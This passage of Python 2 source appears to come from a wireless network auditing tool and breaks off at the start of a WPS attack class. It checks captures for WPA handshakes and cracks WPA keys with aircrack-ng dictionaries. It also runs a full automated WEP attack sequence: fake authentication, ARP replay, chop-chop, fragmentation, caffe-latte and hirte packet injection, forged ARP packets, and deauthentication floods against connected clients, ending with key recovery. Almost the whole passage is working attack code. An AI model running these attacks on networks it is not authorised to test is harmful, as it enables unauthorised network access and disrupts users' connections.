while line.find(' ') != -1: line = line.replace(' ', ' ')
2309
2310
fields = line.split(' ')
2311
2312
# Sometimes tshark doesn't display the full header for "Key (msg 3/4)" on the 3rd handshake.
2313
# This catches this glitch and fixes it.
2314
if len(fields) < 8:
2315
continue
2316
elif len(fields) == 8:
2317
fields.append('(msg')
2318
fields.append('3/4)')
2319
2320
src = fields[2].lower() # Source MAC address
2321
dst = fields[4].lower() # Destination MAC address
2322
if len(fields) == 12:
2323
# "Message x of y" format
2324
msg = fields[9][0]
2325
else:
2326
msg = fields[-1][0]
2327
2328
# First, third msgs in 4-way handshake are from the target to client
2329
if msg_num % 2 == 1 and (src != target.bssid.lower() or dst != client):
2330
continue
2331
# Second, fourth msgs in 4-way handshake are from client to target
2332
elif msg_num % 2 == 0 and (dst != target.bssid.lower() or src != client):
2333
continue
2334
2335
# The messages must appear in sequential order.
2336
try:
2337
if int(msg) != msg_num: continue
2338
except ValueError:
2339
continue
2340
2341
msg_num += 1
2342
2343
# We need the first 4 messages of the 4-way handshake
2344
# Although aircrack-ng cracks just fine with only 3 of the messages...
2345
if msg_num >= 4:
2346
return True
2347
return False
2348
2349
def has_handshake_cowpatty(self, target, capfile, nonstrict=True):
2350
"""
2351
Uses cowpatty to check for a handshake.
2352
Returns "True" if handshake is found, false otherwise.
2353
"""
2354
if not program_exists('cowpatty'): return False
2355
2356
# Call cowpatty to check if capfile contains a valid handshake.
2357
cmd = ['cowpatty',
2358
'-r', capfile, # input file
2359
'-s', target.ssid, # SSID
2360
'-c'] # Check for handshake
2361
# Uses frames 1, 2, or 3 for key attack
2362
if nonstrict: cmd.append('-2')
2363
proc = Popen(cmd, stdout=PIPE, stderr=DN)
2364
proc.wait()
2365
response = proc.communicate()[0]
2366
if response.find('incomplete four-way handshake exchange') != -1:
2367
return False
2368
elif response.find('Unsupported or unrecognized pcap file.') != -1:
2369
return False
2370
elif response.find('Unable to open capture file: Success') != -1:
2371
return False
2372
return True
2373
2374
def has_handshake_pyrit(self, target, capfile):
2375
"""
2376
Uses pyrit to check for a handshake.
2377
Returns "True" if handshake is found, false otherwise.
2378
"""
2379
if not program_exists('pyrit'): return False
2380
2381
# Call pyrit to "Analyze" the cap file's handshakes.
2382
cmd = ['pyrit',
2383
'-r', capfile,
2384
'analyze']
2385
proc = Popen(cmd, stdout=PIPE, stderr=DN)
2386
proc.wait()
2387
hit_essid = False
2388
for line in proc.communicate()[0].split('\n'):
2389
# Iterate over every line of output by Pyrit
2390
if line == '' or line == None: continue
2391
if line.find("AccessPoint") != -1:
2392
hit_essid = (line.find("('" + target.ssid + "')") != -1) and \
2393
(line.lower().find(target.bssid.lower()) != -1)
2394
#hit_essid = (line.lower().find(target.bssid.lower()))
2395
2396
else:
2397
# If Pyrit says it's good or workable, it's a valid handshake.
2398
if hit_essid and (line.find(', good, ') != -1 or line.find(', good*, ') != -1 or line.find(', workable, ') != -1):
2399
return True
2400
return False
2401
2402
def has_handshake_aircrack(self, target, capfile):
2403
"""
2404
Uses aircrack-ng to check for handshake.
2405
Returns True if found, False otherwise.
2406
"""
2407
if not program_exists('aircrack-ng'): return False
2408
crack = 'echo "" | aircrack-ng -a 2 -w - -b ' + target.bssid + ' ' + capfile
2409
proc_crack = Popen(crack, stdout=PIPE, stderr=DN, shell=True)
2410
proc_crack.wait()
2411
txt = proc_crack.communicate()[0]
2412
2413
return (txt.find('Passphrase not in dictionary') != -1)
2414
2415
def has_handshake(self, target, capfile):
2416
"""
2417
Checks if .cap file contains a handshake.
2418
Returns True if handshake is found, False otherwise.
2419
"""
2420
valid_handshake = True
2421
tried = False
2422
if self.RUN_CONFIG.WPA_HANDSHAKE_TSHARK:
2423
tried = True
2424
valid_handshake = self.has_handshake_tshark(target, capfile)
2425
2426
if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_COWPATTY:
2427
tried = True
2428
valid_handshake = self.has_handshake_cowpatty(target, capfile)
2429
2430
# Use CowPatty to check for handshake.
2431
if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_COWPATTY:
2432
tried = True
2433
valid_handshake = self.has_handshake_cowpatty(target, capfile)
2434
2435
# Check for handshake using Pyrit if applicable
2436
if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_PYRIT:
2437
tried = True
2438
valid_handshake = self.has_handshake_pyrit(target, capfile)
2439
2440
# Check for handshake using aircrack-ng
2441
if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_AIRCRACK:
2442
tried = True
2443
valid_handshake = self.has_handshake_aircrack(target, capfile)
2444
2445
if tried: return valid_handshake
2446
print R + ' [!]' + O + ' unable to check for handshake: all handshake options are disabled!'
2447
self.RUN_CONFIG.exit_gracefully(1)
2448
2449
def strip_handshake(self, capfile):
2450
"""
2451
Uses Tshark or Pyrit to strip all non-handshake packets from a .cap file
2452
File in location 'capfile' is overwritten!
2453
"""
2454
output_file = capfile
2455
if program_exists('pyrit'):
2456
cmd = ['pyrit',
2457
'-r', capfile,
2458
'-o', capfile + '.temp',
2459
'stripLive']
2460
call(cmd, stdout=DN, stderr=DN)
2461
if os.path.exists(capfile + '.temp'):
2462
rename(capfile + '.temp', output_file)
2463
2464
elif program_exists('tshark'):
2465
# strip results with tshark
2466
cmd = ['tshark',
2467
'-r', capfile, # input file
2468
'-R', 'eapol || wlan_mgt.tag.interpretation', # filter
2469
'-2', # -R is deprecated and requires -2
2470
'-w', capfile + '.temp'] # output file
2471
proc_strip = call(cmd, stdout=DN, stderr=DN)
2472
2473
rename(capfile + '.temp', output_file)
2474
2475
else:
2476
print R + " [!]" + O + " unable to strip .cap file: neither pyrit nor tshark were found" + W
2477
2478
2479
##########################
2480
# WPA CRACKING FUNCTIONS #
2481
##########################
2482
def wpa_crack(capfile, RUN_CONFIG):
2483
"""
2484
Cracks cap file using aircrack-ng
2485
This is crude and slow. If people want to crack using pyrit or cowpatty or oclhashcat,
2486
they can do so manually.
2487
"""
2488
if RUN_CONFIG.WPA_DICTIONARY == '':
2489
print R + ' [!]' + O + ' no WPA dictionary found! use -dict <file> command-line argument' + W
2490
return False
2491
2492
print GR + ' [0:00:00]' + W + ' cracking %s with %s' % (G + capfile.ssid + W, G + 'aircrack-ng' + W)
2493
start_time = time.time()
2494
cracked = False
2495
2496
remove_file(RUN_CONFIG.temp + 'out.out')
2497
remove_file(RUN_CONFIG.temp + 'wpakey.txt')
2498
2499
cmd = ['aircrack-ng',
2500
'-a', '2', # WPA crack
2501
'-w', RUN_CONFIG.WPA_DICTIONARY, # Wordlist
2502
'-l', RUN_CONFIG.temp + 'wpakey.txt', # Save key to file
2503
'-b', capfile.bssid, # BSSID of target
2504
capfile.filename]
2505
2506
proc = Popen(cmd, stdout=open(RUN_CONFIG.temp + 'out.out', 'a'), stderr=DN)
2507
try:
2508
kt = 0 # Keys tested
2509
kps = 0 # Keys per second
2510
while True:
2511
time.sleep(1)
2512
2513
if proc.poll() != None: # aircrack stopped
2514
if os.path.exists(RUN_CONFIG.temp + 'wpakey.txt'):
2515
# Cracked
2516
inf = open(RUN_CONFIG.temp + 'wpakey.txt')
2517
key = inf.read().strip()
2518
inf.close()
2519
RUN_CONFIG.WPA_FINDINGS.append('cracked wpa key for "%s" (%s): "%s"' % (
2520
G + capfile.ssid + W, G + capfile.bssid + W, C + key + W))
2521
RUN_CONFIG.WPA_FINDINGS.append('')
2522
t = Target(capfile.bssid, 0, 0, 0, 'WPA', capfile.ssid)
2523
t.key = key
2524
RUN_CONFIG.save_cracked(t)
2525
2526
print GR + '\n [+]' + W + ' cracked %s (%s)!' % (G + capfile.ssid + W, G + capfile.bssid + W)
2527
print GR + ' [+]' + W + ' key: "%s"\n' % (C + key + W)
2528
cracked = True
2529
else:
2530
# Did not crack
2531
print R + '\n [!]' + R + 'crack attempt failed' + O + ': passphrase not in dictionary' + W
2532
break
2533
2534
inf = open(RUN_CONFIG.temp + 'out.out', 'r')
2535
lines = inf.read().split('\n')
2536
inf.close()
2537
outf = open(RUN_CONFIG.temp + 'out.out', 'w')
2538
outf.close()
2539
for line in lines:
2540
i = line.find(']')
2541
j = line.find('keys tested', i)
2542
if i != -1 and j != -1:
2543
kts = line[i + 2:j - 1]
2544
try:
2545
kt = int(kts)
2546
except ValueError:
2547
pass
2548
i = line.find('(')
2549
j = line.find('k/s)', i)
2550
if i != -1 and j != -1:
2551
kpss = line[i + 1:j - 1]
2552
try:
2553
kps = float(kpss)
2554
except ValueError:
2555
pass
2556
2557
print "\r %s %s keys tested (%s%.2f keys/sec%s) " % \
2558
(GR + sec_to_hms(time.time() - start_time) + W, G + add_commas(kt) + W, G, kps, W),
2559
stdout.flush()
2560
2561
except KeyboardInterrupt:
2562
print R + '\n (^C)' + O + ' WPA cracking interrupted' + W
2563
2564
send_interrupt(proc)
2565
try:
2566
os.kill(proc.pid, SIGTERM)
2567
except OSError:
2568
pass
2569
2570
return cracked
2571
2572
2573
def add_commas(n):
2574
"""
2575
Receives integer n, returns string representation of n with commas in thousands place.
2576
I'm sure there's easier ways of doing this... but meh.
2577
"""
2578
strn = str(n)
2579
lenn = len(strn)
2580
i = 0
2581
result = ''
2582
while i < lenn:
2583
if (lenn - i) % 3 == 0 and i != 0: result += ','
2584
result += strn[i]
2585
i += 1
2586
return result
2587
2588
2589
#################
2590
# WEP FUNCTIONS #
2591
#################
2592
class WEPAttack(Attack):
2593
def __init__(self, iface, target, clients, config):
2594
self.iface = iface
2595
self.target = target
2596
self.clients = clients
2597
self.RUN_CONFIG = config
2598
2599
def RunAttack(self):
2600
'''
2601
Abstract method for dispatching the WEP crack
2602
'''
2603
self.attack_wep()
2604
2605
def EndAttack(self):
2606
'''
2607
Abstract method for ending the WEP attack
2608
'''
2609
pass
2610
2611
def attack_wep(self):
2612
"""
2613
Attacks WEP-encrypted network.
2614
Returns True if key was successfully found, False otherwise.
2615
"""
2616
if self.RUN_CONFIG.WEP_TIMEOUT <= 0: self.RUN_CONFIG.WEP_TIMEOUT = -1
2617
2618
total_attacks = 6 # 4 + (2 if len(clients) > 0 else 0)
2619
if not self.RUN_CONFIG.WEP_ARP_REPLAY: total_attacks -= 1
2620
if not self.RUN_CONFIG.WEP_CHOPCHOP: total_attacks -= 1
2621
if not self.RUN_CONFIG.WEP_FRAGMENT: total_attacks -= 1
2622
if not self.RUN_CONFIG.WEP_CAFFELATTE: total_attacks -= 1
2623
if not self.RUN_CONFIG.WEP_P0841: total_attacks -= 1
2624
if not self.RUN_CONFIG.WEP_HIRTE: total_attacks -= 1
2625
2626
if total_attacks <= 0:
2627
print R + ' [!]' + O + ' unable to initiate WEP attacks: no attacks are selected!'
2628
return False
2629
remaining_attacks = total_attacks
2630
2631
print ' %s preparing attack "%s" (%s)' % \
2632
(GR + sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT) + W, G + self.target.ssid + W, G + self.target.bssid + W)
2633
2634
file_prefix = os.path.join(self.RUN_CONFIG.temp, 'wep')
2635
wepkey_file = os.path.join(self.RUN_CONFIG.temp, 'wepkey.txt')
2636
csv_file = file_prefix + '-01.csv'
2637
cap_file = file_prefix + '-01.cap'
2638
2639
remove_airodump_files(file_prefix)
2640
remove_file(wepkey_file)
2641
2642
# Start airodump process to capture packets
2643
cmd_airodump = ['airodump-ng',
2644
'-w', file_prefix, # Output file name (wep-01.cap, wep-01.csv)
2645
'-c', self.target.channel, # Wireless channel
2646
'--write-interval', '1',
2647
'--bssid', self.target.bssid,
2648
self.iface]
2649
proc_airodump = Popen(cmd_airodump, stdout=DN, stderr=DN)
2650
proc_aireplay = None
2651
proc_aircrack = None
2652
2653
successful = False # Flag for when attack is successful
2654
started_cracking = False # Flag for when we have started aircrack-ng
2655
client_mac = '' # The client mac we will send packets to/from
2656
2657
total_ivs = 0
2658
ivs = 0
2659
last_ivs = 0
2660
for attack_num in xrange(0, 6):
2661
2662
# Skip disabled attacks
2663
if attack_num == 0 and not self.RUN_CONFIG.WEP_ARP_REPLAY:
2664
continue
2665
elif attack_num == 1 and not self.RUN_CONFIG.WEP_CHOPCHOP:
2666
continue
2667
elif attack_num == 2 and not self.RUN_CONFIG.WEP_FRAGMENT:
2668
continue
2669
elif attack_num == 3 and not self.RUN_CONFIG.WEP_CAFFELATTE:
2670
continue
2671
elif attack_num == 4 and not self.RUN_CONFIG.WEP_P0841:
2672
continue
2673
elif attack_num == 5 and not self.RUN_CONFIG.WEP_HIRTE:
2674
continue
2675
2676
remaining_attacks -= 1
2677
2678
try:
2679
2680
if self.wep_fake_auth(self.iface, self.target, sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT)):
2681
# Successful fake auth
2682
client_mac = self.RUN_CONFIG.THIS_MAC
2683
elif not self.RUN_CONFIG.WEP_IGNORE_FAKEAUTH:
2684
send_interrupt(proc_aireplay)
2685
send_interrupt(proc_airodump)
2686
print R + ' [!]' + O + ' unable to fake-authenticate with target'
2687
print R + ' [!]' + O + ' to skip this speed bump, select "ignore-fake-auth" at command-line'
2688
return False
2689
2690
remove_file(os.path.join(self.RUN_CONFIG.temp, 'arp.cap'))
2691
# Generate the aireplay-ng arguments based on attack_num and other params
2692
cmd = self.get_aireplay_command(self.iface, attack_num, self.target, self.clients, client_mac)
2693
if cmd == '': continue
2694
if proc_aireplay != None:
2695
send_interrupt(proc_aireplay)
2696
proc_aireplay = Popen(cmd, stdout=PIPE, stderr=PIPE)
2697
2698
print '\r %s attacking "%s" via' % (
2699
GR + sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT) + W, G + self.target.ssid + W),
2700
if attack_num == 0:
2701
print G + 'arp-replay',
2702
elif attack_num == 1:
2703
print G + 'chop-chop',
2704
elif attack_num == 2:
2705
print G + 'fragmentation',
2706
elif attack_num == 3:
2707
print G + 'caffe-latte',
2708
elif attack_num == 4:
2709
print G + 'p0841',
2710
elif attack_num == 5:
2711
print G + 'hirte',
2712
print 'attack' + W
2713
2714
print ' %s captured %s%d%s ivs @ %s iv/sec' % (
2715
GR + sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT) + W, G, total_ivs, W, G + '0' + W),
2716
stdout.flush()
2717
2718
time.sleep(1)
2719
if attack_num == 1:
2720
# Send a deauth packet to broadcast and all clients *just because!*
2721
self.wep_send_deauths(self.iface, self.target, self.clients)
2722
last_deauth = time.time()
2723
2724
replaying = False
2725
time_started = time.time()
2726
while time.time() - time_started < self.RUN_CONFIG.WEP_TIMEOUT:
2727
# time.sleep(5)
2728
if self.RUN_CONFIG.WEP_TIMEOUT == -1:
2729
current_hms = "[endless]"
2730
else:
2731
current_hms = sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT - (time.time() - time_started))
2732
print "\r %s\r" % (GR + current_hms + W),
2733
stdout.flush()
2734
time.sleep(1)
2735
2736
# Calculates total seconds remaining
2737
2738
# Check number of IVs captured
2739
csv = self.RUN_CONFIG.RUN_ENGINE.parse_csv(csv_file)[0]
2740
if len(csv) > 0:
2741
ivs = int(csv[0].data)
2742
print "\r ",
2743
print "\r %s captured %s%d%s ivs @ %s%d%s iv/sec" % \
2744
(GR + current_hms + W, G, total_ivs + ivs, W, G, (ivs - last_ivs), W),
2745
2746
if ivs - last_ivs == 0 and time.time() - last_deauth > 30:
2747
print "\r %s deauthing to generate packets..." % (GR + current_hms + W),
2748
self.wep_send_deauths(self.iface, self.target, self.clients)
2749
print "done\r",
2750
last_deauth = time.time()
2751
2752
last_ivs = ivs
2753
stdout.flush()
2754
if total_ivs + ivs >= self.RUN_CONFIG.WEP_CRACK_AT_IVS and not started_cracking:
2755
# Start cracking
2756
cmd = ['aircrack-ng',
2757
'-a', '1',
2758
'-l', wepkey_file]
2759
#temp + 'wep-01.cap']
2760
# Append all .cap files in temp directory (in case we are resuming)
2761
for f in os.listdir(self.RUN_CONFIG.temp):
2762
if f.startswith('wep-') and f.endswith('.cap'):
2763
cmd.append(os.path.join(self.RUN_CONFIG.temp, f))
2764
2765
print "\r %s started %s (%sover %d ivs%s)" % (
2766
GR + current_hms + W, G + 'cracking' + W, G, self.RUN_CONFIG.WEP_CRACK_AT_IVS, W)
2767
proc_aircrack = Popen(cmd, stdout=DN, stderr=DN)
2768
started_cracking = True
2769
2770
# Check if key has been cracked yet.
2771
if os.path.exists(wepkey_file):
2772
# Cracked!
2773
infile = open(wepkey_file, 'r')
2774
key = infile.read().replace('\n', '')
2775
infile.close()
2776
print '\n\n %s %s %s (%s)! key: "%s"' % (
2777
current_hms, G + 'cracked', self.target.ssid + W, G + self.target.bssid + W, C + key + W)
2778
self.RUN_CONFIG.WEP_FINDINGS.append(
2779
'cracked %s (%s), key: "%s"' % (self.target.ssid, self.target.bssid, key))
2780
self.RUN_CONFIG.WEP_FINDINGS.append('')
2781
2782
t = Target(self.target.bssid, 0, 0, 0, 'WEP', self.target.ssid)
2783
t.key = key
2784
self.RUN_CONFIG.save_cracked(t)
2785
2786
# Kill processes
2787
send_interrupt(proc_airodump)
2788
send_interrupt(proc_aireplay)
2789
try:
2790
os.kill(proc_aireplay, SIGTERM)
2791
except:
2792
pass
2793
send_interrupt(proc_aircrack)
2794
# Remove files generated by airodump/aireplay/packetforce
2795
time.sleep(0.5)
2796
remove_airodump_files(file_prefix)
2797
remove_file(wepkey_file)
2798
return True
2799
2800
# Check if aireplay is still executing
2801
if proc_aireplay.poll() == None:
2802
if replaying:
2803
print ', ' + G + 'replaying \r' + W,
2804
elif attack_num == 1 or attack_num == 2:
2805
print ', waiting for packet \r',
2806
stdout.flush()
2807
continue
2808
2809
# At this point, aireplay has stopped
2810
if attack_num != 1 and attack_num != 2:
2811
print '\r %s attack failed: %saireplay-ng exited unexpectedly%s' % (R + current_hms, O, W)
2812
(sout, serr) = proc_aireplay.communicate()
2813
break # Break out of attack's While loop
2814
2815
# Check for a .XOR file (we expect one when doing chopchop/fragmentation
2816
xor_file = ''
2817
for filename in sorted(os.listdir(self.RUN_CONFIG.temp)):
2818
if filename.lower().endswith('.xor'):
2819
xor_file = os.path.join(self.RUN_CONFIG.temp, filename)
2820
if xor_file == '':
2821
print '\r %s attack failed: %sunable to generate keystream %s' % (R + current_hms, O, W)
2822
break
2823
2824
remove_file(os.path.join(self.RUN_CONFIG.temp, 'arp.cap'))
2825
cmd = ['packetforge-ng',
2826
'-0',
2827
'-a', self.target.bssid,
2828
'-h', client_mac,
2829
'-k', '192.168.1.2',
2830
'-l', '192.168.1.100',
2831
'-y', xor_file,
2832
'-w', os.path.join(self.RUN_CONFIG.temp, 'arp.cap'),
2833
self.iface]
2834
proc_pforge = Popen(cmd, stdout=PIPE, stderr=DN)
2835
proc_pforge.wait()
2836
forged_packet = proc_pforge.communicate()[0]
2837
remove_file(xor_file)
2838
if forged_packet == None: result = ''
2839
forged_packet = forged_packet.strip()
2840
if not forged_packet.find('Wrote packet'):
2841
print "\r %s attack failed: unable to forget ARP packet %s" % (
2842
R + current_hms + O, W)
2843
break
2844
2845
# We were able to forge a packet, so let's replay it via aireplay-ng
2846
cmd = ['aireplay-ng',
2847
'--ignore-negative-one',
2848
'--arpreplay',
2849
'-b', self.target.bssid,
2850
'-r', os.path.join(self.RUN_CONFIG.temp, 'arp.cap'), # Used the forged ARP packet
2851
'-F', # Select the first packet
2852
self.iface]
2853
proc_aireplay = Popen(cmd, stdout=DN, stderr=DN)
2854
2855
print '\r %s forged %s! %s... ' % (
2856
GR + current_hms + W, G + 'arp packet' + W, G + 'replaying' + W)
2857
replaying = True
2858
2859
# After the attacks, if we are already cracking, wait for the key to be found!
2860
while started_cracking: # ivs > WEP_CRACK_AT_IVS:
2861
time.sleep(1)
2862
# Check number of IVs captured
2863
csv = self.RUN_CONFIG.RUN_ENGINE.parse_csv(csv_file)[0]
2864
if len(csv) > 0:
2865
ivs = int(csv[0].data)
2866
print GR + " [endless]" + W + " captured %s%d%s ivs, iv/sec: %s%d%s \r" % \
2867
(G, total_ivs + ivs, W, G, (ivs - last_ivs), W),
2868
last_ivs = ivs
2869
stdout.flush()
2870
2871
# Check if key has been cracked yet.
2872
if os.path.exists(wepkey_file):
2873
# Cracked!
2874
infile = open(wepkey_file, 'r')
2875
key = infile.read().replace('\n', '')
2876
infile.close()
2877
print GR + '\n\n [endless] %s %s (%s)! key: "%s"' % (
2878
G + 'cracked', self.target.ssid + W, G + self.target.bssid + W, C + key + W)
2879
self.RUN_CONFIG.WEP_FINDINGS.append(
2880
'cracked %s (%s), key: "%s"' % (self.target.ssid, self.target.bssid, key))
2881
self.RUN_CONFIG.WEP_FINDINGS.append('')
2882
2883
t = Target(self.target.bssid, 0, 0, 0, 'WEP', self.target.ssid)
2884
t.key = key
2885
self.RUN_CONFIG.save_cracked(t)
2886
2887
# Kill processes
2888
send_interrupt(proc_airodump)
2889
send_interrupt(proc_aireplay)
2890
send_interrupt(proc_aircrack)
2891
# Remove files generated by airodump/aireplay/packetforce
2892
remove_airodump_files(file_prefix)
2893
remove_file(wepkey_file)
2894
return True
2895
2896
# Keyboard interrupt during attack
2897
except KeyboardInterrupt:
2898
print R + '\n (^C)' + O + ' WEP attack interrupted\n' + W
2899
2900
send_interrupt(proc_airodump)
2901
if proc_aireplay != None:
2902
send_interrupt(proc_aireplay)
2903
if proc_aircrack != None:
2904
send_interrupt(proc_aircrack)
2905
2906
options = []
2907
selections = []
2908
if remaining_attacks > 0:
2909
options.append('%scontinue%s attacking this target (%d remaining WEP attack%s)' % \
2910
(G, W, (remaining_attacks), 's' if remaining_attacks != 1 else ''))
2911
selections.append(G + 'c' + W)
2912
2913
if self.RUN_CONFIG.TARGETS_REMAINING > 0:
2914
options.append('%sskip%s this target, move onto next target (%d remaining target%s)' % \
2915
(O, W, self.RUN_CONFIG.TARGETS_REMAINING,
2916
's' if self.RUN_CONFIG.TARGETS_REMAINING != 1 else ''))
2917
selections.append(O + 's' + W)
2918
2919
options.append('%sexit%s the program completely' % (R, W))
2920
selections.append(R + 'e' + W)
2921
2922
if len(options) > 1:
2923
# Ask user what they want to do, Store answer in "response"
2924
print GR + ' [+]' + W + ' what do you want to do?'
2925
response = ''
2926
while response != 'c' and response != 's' and response != 'e':
2927
for option in options:
2928
print ' %s' % option
2929
response = raw_input(
2930
GR + ' [+]' + W + ' please make a selection (%s): ' % (', '.join(selections))).lower()[0]
2931
else:
2932
response = 'e'
2933
2934
if response == 'e' or response == 's':
2935
# Exit or skip target (either way, stop this attack)
2936
if self.RUN_CONFIG.WEP_SAVE:
2937
# Save packets
2938
save_as = re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) + '_' + self.target.bssid.replace(':',
2939
'-') + '.cap' + W
2940
try:
2941
rename(cap_file, save_as)
2942
except OSError:
2943
print R + ' [!]' + O + ' unable to save capture file!' + W
2944
else:
2945
print GR + ' [+]' + W + ' packet capture ' + G + 'saved' + W + ' to ' + G + save_as + W
2946
2947
# Remove files generated by airodump/aireplay/packetforce
2948
for filename in os.listdir('.'):
2949
if filename.startswith('replay_arp-') and filename.endswith('.cap'):
2950
remove_file(filename)
2951
remove_airodump_files(file_prefix)
2952
remove_file(wepkey_file)
2953
print ''
2954
if response == 'e':
2955
self.RUN_CONFIG.exit_gracefully(0)
2956
return
2957
2958
elif response == 'c':
2959
# Continue attacks
2960
# Need to backup temp/wep-01.cap and remove airodump files
2961
i = 2
2962
while os.path.exists(os.path.join(self.RUN_CONFIG.temp, 'wep-' + str(i) + '.cap')):
2963
i += 1
2964
new_cap_file = os.path.join(self.RUN_CONFIG.temp, 'wep-' + str(i) + '.cap')
2965
copy(cap_file, new_cap_file)
2966
remove_airodump_files(file_prefix)
2967
2968
# Need to restart airodump-ng, as it's been interrupted/killed
2969
proc_airodump = Popen(cmd_airodump, stdout=DN, stderr=DN)
2970
2971
# Say we haven't started cracking yet, so we re-start if needed.
2972
started_cracking = False
2973
2974
# Reset IVs counters for proper behavior
2975
total_ivs += ivs
2976
ivs = 0
2977
last_ivs = 0
2978
2979
# Also need to remember to crack "temp/*.cap" instead of just wep-01.cap
2980
pass
2981
2982
if successful:
2983
print GR + '\n [0:00:00]' + W + ' attack complete: ' + G + 'success!' + W
2984
else:
2985
print GR + '\n [0:00:00]' + W + ' attack complete: ' + R + 'failure' + W
2986
2987
send_interrupt(proc_airodump)
2988
if proc_aireplay != None:
2989
send_interrupt(proc_aireplay)
2990
2991
# Remove files generated by airodump/aireplay/packetforce
2992
for filename in os.listdir('.'):
2993
if filename.startswith('replay_arp-') and filename.endswith('.cap'):
2994
remove_file(filename)
2995
remove_airodump_files(file_prefix)
2996
remove_file(wepkey_file)
2997
2998
def wep_fake_auth(self, iface, target, time_to_display):
2999
"""
3000
Attempt to (falsely) authenticate with a WEP access point.
3001
Gives 3 seconds to make each 5 authentication attempts.
3002
Returns True if authentication was successful, False otherwise.
3003
"""
3004
max_wait = 3 # Time, in seconds, to allow each fake authentication
3005
max_attempts = 5 # Number of attempts to make
3006
3007
for fa_index in xrange(1, max_attempts + 1):
3008
print '\r ',
3009
print '\r %s attempting %sfake authentication%s (%d/%d)... ' % \
3010
(GR + time_to_display + W, G, W, fa_index, max_attempts),
3011
stdout.flush()
3012
3013
cmd = ['aireplay-ng',
3014
'--ignore-negative-one',
3015
'-1', '0', # Fake auth, no delay
3016
'-a', target.bssid,
3017
'-T', '1'] # Make 1 attempt
3018
if target.ssid != '':
3019
cmd.append('-e')
3020
cmd.append(target.ssid)
3021
cmd.append(iface)
3022
3023
proc_fakeauth = Popen(cmd, stdout=PIPE, stderr=DN)
3024
started = time.time()
3025
while proc_fakeauth.poll() == None and time.time() - started <= max_wait:
3026
time.sleep(0.1)
3027
3028
if time.time() - started > max_wait:
3029
send_interrupt(proc_fakeauth)
3030
print R + 'failed' + W,
3031
stdout.flush()
3032
time.sleep(0.5)
3033
continue
3034
3035
result = proc_fakeauth.communicate()[0].lower()
3036
if result.find('switching to shared key') != -1 or \
3037
result.find('rejects open system'): pass
3038
if result.find('association successful') != -1:
3039
print G + 'success!' + W
3040
return True
3041
3042
print R + 'failed' + W,
3043
stdout.flush()
3044
time.sleep(0.5)
3045
continue
3046
print ''
3047
return False
3048
3049
def get_aireplay_command(self, iface, attack_num, target, clients, client_mac):
3050
"""
3051
Returns aireplay-ng command line arguments based on parameters.
3052
"""
3053
cmd = ''
3054
if attack_num == 0:
3055
cmd = ['aireplay-ng',
3056
'--ignore-negative-one',
3057
'--arpreplay',
3058
'-b', target.bssid,
3059
'-x', str(self.RUN_CONFIG.WEP_PPS)] # Packets per second
3060
if client_mac != '':
3061
cmd.append('-h')
3062
cmd.append(client_mac)
3063
elif len(clients) > 0:
3064
cmd.append('-h')
3065
cmd.append(clients[0].bssid)
3066
cmd.append(iface)
3067
3068
elif attack_num == 1:
3069
cmd = ['aireplay-ng',
3070
'--ignore-negative-one',
3071
'--chopchop',
3072
'-b', target.bssid,
3073
'-x', str(self.RUN_CONFIG.WEP_PPS), # Packets per second
3074
'-m', '60', # Minimum packet length (bytes)
3075
'-n', '82', # Maxmimum packet length
3076
'-F'] # Automatically choose the first packet
3077
if client_mac != '':
3078
cmd.append('-h')
3079
cmd.append(client_mac)
3080
elif len(clients) > 0:
3081
cmd.append('-h')
3082
cmd.append(clients[0].bssid)
3083
cmd.append(iface)
3084
3085
elif attack_num == 2:
3086
cmd = ['aireplay-ng',
3087
'--ignore-negative-one',
3088
'--fragment',
3089
'-b', target.bssid,
3090
'-x', str(self.RUN_CONFIG.WEP_PPS), # Packets per second
3091
'-m', '100', # Minimum packet length (bytes)
3092
'-F'] # Automatically choose the first packet
3093
if client_mac != '':
3094
cmd.append('-h')
3095
cmd.append(client_mac)
3096
elif len(clients) > 0:
3097
cmd.append('-h')
3098
cmd.append(clients[0].bssid)
3099
cmd.append(iface)
3100
3101
elif attack_num == 3:
3102
cmd = ['aireplay-ng',
3103
'--ignore-negative-one',
3104
'--caffe-latte',
3105
'-b', target.bssid]
3106
if len(clients) > 0:
3107
cmd.append('-h')
3108
cmd.append(clients[0].bssid)
3109
cmd.append(iface)
3110
3111
elif attack_num == 4:
3112
cmd = ['aireplay-ng', '--ignore-negative-one', '--interactive', '-b', target.bssid, '-c',
3113
'ff:ff:ff:ff:ff:ff', '-t', '1', '-x', str(self.RUN_CONFIG.WEP_PPS), '-F', '-p', '0841', iface]
3114
3115
elif attack_num == 5:
3116
if len(clients) == 0:
3117
print R + ' [0:00:00] unable to carry out hirte attack: ' + O + 'no clients'
3118
return ''
3119
cmd = ['aireplay-ng',
3120
'--ignore-negative-one',
3121
'--cfrag',
3122
'-h', clients[0].bssid,
3123
iface]
3124
3125
return cmd
3126
3127
def wep_send_deauths(self, iface, target, clients):
3128
"""
3129
Sends deauth packets to broadcast and every client.
3130
"""
3131
# Send deauth to broadcast
3132
cmd = ['aireplay-ng',
3133
'--ignore-negative-one',
3134
'--deauth', str(self.RUN_CONFIG.WPA_DEAUTH_COUNT),
3135
'-a', target.bssid,
3136
iface]
3137
call(cmd, stdout=DN, stderr=DN)
3138
# Send deauth to every client
3139
for client in clients:
3140
cmd = ['aireplay-ng',
3141
'--ignore-negative-one',
3142
'--deauth', str(self.RUN_CONFIG.WPA_DEAUTH_COUNT),
3143
'-a', target.bssid,
3144
'-c', client.bssid,
3145
iface]
3146
call(cmd, stdout=DN, stderr=DN)
3147
3148
3149
#################
3150
# WPS FUNCTIONS #
3151
#################
3152
class WPSAttack(Attack):
3153
def __init__(self, iface, target, config):
3154
self.iface = iface
3155
self.target = target
3156
self.RUN_CONFIG = config
3157
3158
def RunAttack(self):
3159
'''
3160
Abstract method for initializing the WPS attack
3161
'''
3162
if self.is_pixie_supported():
3163
# Try the pixie-dust attack
3164
if self.attack_wps_pixie():
3165
# If it succeeds, stop
3166
return True
3167
3168
# Drop out if user specified to run ONLY the pixie attack
3169
